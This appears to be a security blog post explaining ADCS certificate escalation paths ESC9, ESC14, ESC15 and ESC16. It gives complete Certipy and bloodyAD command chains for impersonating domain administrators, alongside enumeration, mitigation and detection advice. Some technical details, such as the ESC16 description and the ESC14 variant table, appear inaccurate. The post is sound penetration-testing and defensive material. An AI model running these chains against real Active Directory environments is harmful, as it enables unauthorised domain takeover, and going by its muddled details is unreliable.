LIVE ANALYSIS May 16, 2026

ADCS: The Certificate Attacks That Actually Get You Domain Admin

ESC1 gets all the attention. The real kills happen through ESC9, ESC14, ESC15 and ESC16. These are the ADCS escalation paths that bypass modern hardening, abuse certificate mapping logic, and work even after KB5014754. Full chains, tooling, detection.

#Active Directory #ADCS #Certipy #ESC9 #ESC14 #ESC15 #PKINIT #Certificate Abuse

Active Directory Certificate Services has been an attack surface since the Certified Pre-Owned whitepaper dropped in 2021. Most pentesters know ESC1 (misconfigured template with SAN enabled) and ESC8 (NTLM relay to HTTP enrollment). Those are entry-level now. Blue teams detect them. Templates get locked down.

The techniques that still work in hardened environments live in ESC9 through ESC16. They abuse certificate-to-account mapping logic, not template misconfigurations. Different class of problem, different class of detection difficulty.

Background: Strong vs Weak Certificate Mapping

After CVE-2022-26923 (Certifried), Microsoft shipped KB5014754 introducing strong certificate mapping. The idea: embed the requester’s SID in a certificate extension (szOID_NTDS_CA_SECURITY_EXT, OID 1.3.6.1.4.1.311.25.2) so the DC can unambiguously map the cert to an AD account.

Before February 2025, DCs ran in Compatibility Mode: try strong mapping first, fall back to weak mapping (UPN, DNS name) if the SID extension is missing. After February 2025, Full Enforcement was supposed to be the default.

The problem: many environments delayed enforcement. And even with enforcement, several ESC paths don’t rely on SAN-based mapping at all.

ESC9: Abusing Templates Without the SID Extension

Condition: A certificate template has CT_FLAG_NO_SECURITY_EXTENSION set (msPKI-Enrollment-Flag includes 0x80000), removing the SID extension from issued certificates.

Without the SID, the DC falls back to weak mapping. An attacker who can modify a target’s userPrincipalName (via GenericWrite) can:

  1. Change target’s UPN to admin@domain.local
  2. Enroll for a certificate using the ESC9-vulnerable template
  3. Restore the UPN
  4. Authenticate with the cert → DC maps it to admin via weak UPN mapping
certipy account update -u attacker@domain.local -p 'pass' -user victim -upn administrator@domain.local
certipy req -u victim@domain.local -p 'pass' -ca CORP-CA -template VulnTemplate
certipy account update -u attacker@domain.local -p 'pass' -user victim -upn victim@domain.local
certipy auth -pfx administrator.pfx -domain domain.local

Key detail: This works even with KB5014754 applied if the DC hasn’t moved to Full Enforcement mode or if the template explicitly strips the SID extension.

ESC14: altSecurityIdentities Mapping Abuse

ESC14 is different from everything above. It doesn’t abuse templates. It abuses explicit certificate mapping via the altSecurityIdentities attribute.

Administrators can manually map certificates to accounts by writing values like:

X509:<I>DC=local,DC=domain,CN=CORP-CA<SR>43000000119278b092e5168...

If you have WriteProperty on a target’s altSecurityIdentities, you can inject a mapping that ties your own certificate to their account.

The Chain

Step 1: Create a machine account (default quota is 10)

addcomputer.py -method ldaps -computer-name 'esc14box$' -computer-pass 'P@ss123' -dc-ip 10.10.10.1 domain/attacker:pass

Step 2: Request a certificate for the machine account using the Machine template

certipy req -u 'esc14box$' -p 'P@ss123' -ca CORP-CA -template Machine -dc-ip 10.10.10.1

Step 3: Extract the certificate’s Issuer and Serial Number

certipy cert -pfx esc14box.pfx -nokey -out esc14box.crt
openssl x509 -in esc14box.crt -noout -issuer -serial

Step 4: Write the explicit mapping to the target’s altSecurityIdentities

# Using ldap3 or bloodyAD
bloodyAD -u attacker -p 'pass' -d domain.local --host 10.10.10.1 set object 'CN=target_admin,CN=Users,DC=domain,DC=local' altSecurityIdentities -v 'X509:<I>DC=local,DC=domain,CN=CORP-CA<SR>430000001192...'

Step 5: Authenticate with the machine cert → DC maps it to target_admin

certipy auth -pfx esc14box.pfx -dc-ip 10.10.10.1 -domain domain.local

The DC checks altSecurityIdentities, finds the explicit mapping, and issues a TGT for target_admin. No SAN manipulation. No template misconfiguration. Pure mapping abuse.

ESC14 Variants

There are four documented scenarios:

VariantModified AttributeMapping Type
AaltSecurityIdentitiesX509IssuerSerialNumber
BmailRFC822 email mapping
Ccn + nameSubject CN mapping
DdNSHostName (machine)DNS mapping

Each variant targets a different weak mapping type. Variant A is the most reliable because explicit mappings take priority over implicit ones.

ESC15 (EKUwu): The Bug, Not a Misconfiguration

ESC15 is not a misconfiguration. It’s CVE-2024-49019. Version 1 certificate templates have a bug where the requester can inject Application Policies into the CSR, overriding the template’s intended Extended Key Usage.

This means a template intended for Server Authentication only can be abused to issue certificates with Client Authentication, Certificate Request Agent, or even Code Signing EKU.

Why it matters: Version 1 templates include defaults like WebServer. They exist in every ADCS deployment. Most blue teams never audit them because “they’re built-in defaults.”

certipy req -u attacker@domain.local -p 'pass' -ca CORP-CA -template WebServer -application-policies "1.3.6.1.5.5.7.3.2"

The 1.3.6.1.5.5.7.3.2 OID is Client Authentication. The issued certificate now works for PKINIT despite the template never intending it.

Mitigation: Clone V1 templates to V2 (cloning auto-upgrades schema version), or disable enrollment on all default V1 templates. Microsoft’s patch removes the ability to inject Application Policies into V1 template requests.

ESC16: Object SID Extension Spoofing

ESC16 targets the very mechanism introduced to fix ESC9/ESC10. If a template allows the requester to specify the SID extension value, an attacker can embed another account’s SID into their certificate and authenticate as them under Full Enforcement.

This is the newest documented ESC and represents a direct attack against strong certificate mapping itself. Detection requires monitoring for certificates where the embedded SID doesn’t match the requesting account.

Enumeration: Finding Everything at Once

certipy find -u attacker@domain.local -p 'pass' -dc-ip 10.10.10.1 -vulnerable -stdout

Certipy flags ESC1-ESC16 in a single scan. For deeper analysis:

certipy find -u attacker@domain.local -p 'pass' -dc-ip 10.10.10.1 -json -output adcs_audit.json

Then grep for:

  • Templates with CT_FLAG_NO_SECURITY_EXTENSION → ESC9
  • Accounts with writable altSecurityIdentities → ESC14
  • V1 schema templates with enrollment rights → ESC15
  • Templates allowing requester-specified SID extension → ESC16

Detection Gaps

ESC9/ESC14 require attribute modifications before enrollment. Monitor:

  • Event 5136: Changes to userPrincipalName, altSecurityIdentities, mail, dNSHostName
  • Event 4887: Certificate issuance where Subject CN doesn’t match requester
  • Event 4768 with pre-auth type 16 for unexpected accounts

ESC15 leaves almost no anomalous trace because the template is “legitimate.” The only indicator is a certificate issued from a V1 template with an EKU that doesn’t match the template’s definition.

The reality: most SIEM deployments don’t correlate AD attribute changes with subsequent certificate requests. That gap is exactly what makes ESC9 and ESC14 so effective in mature environments.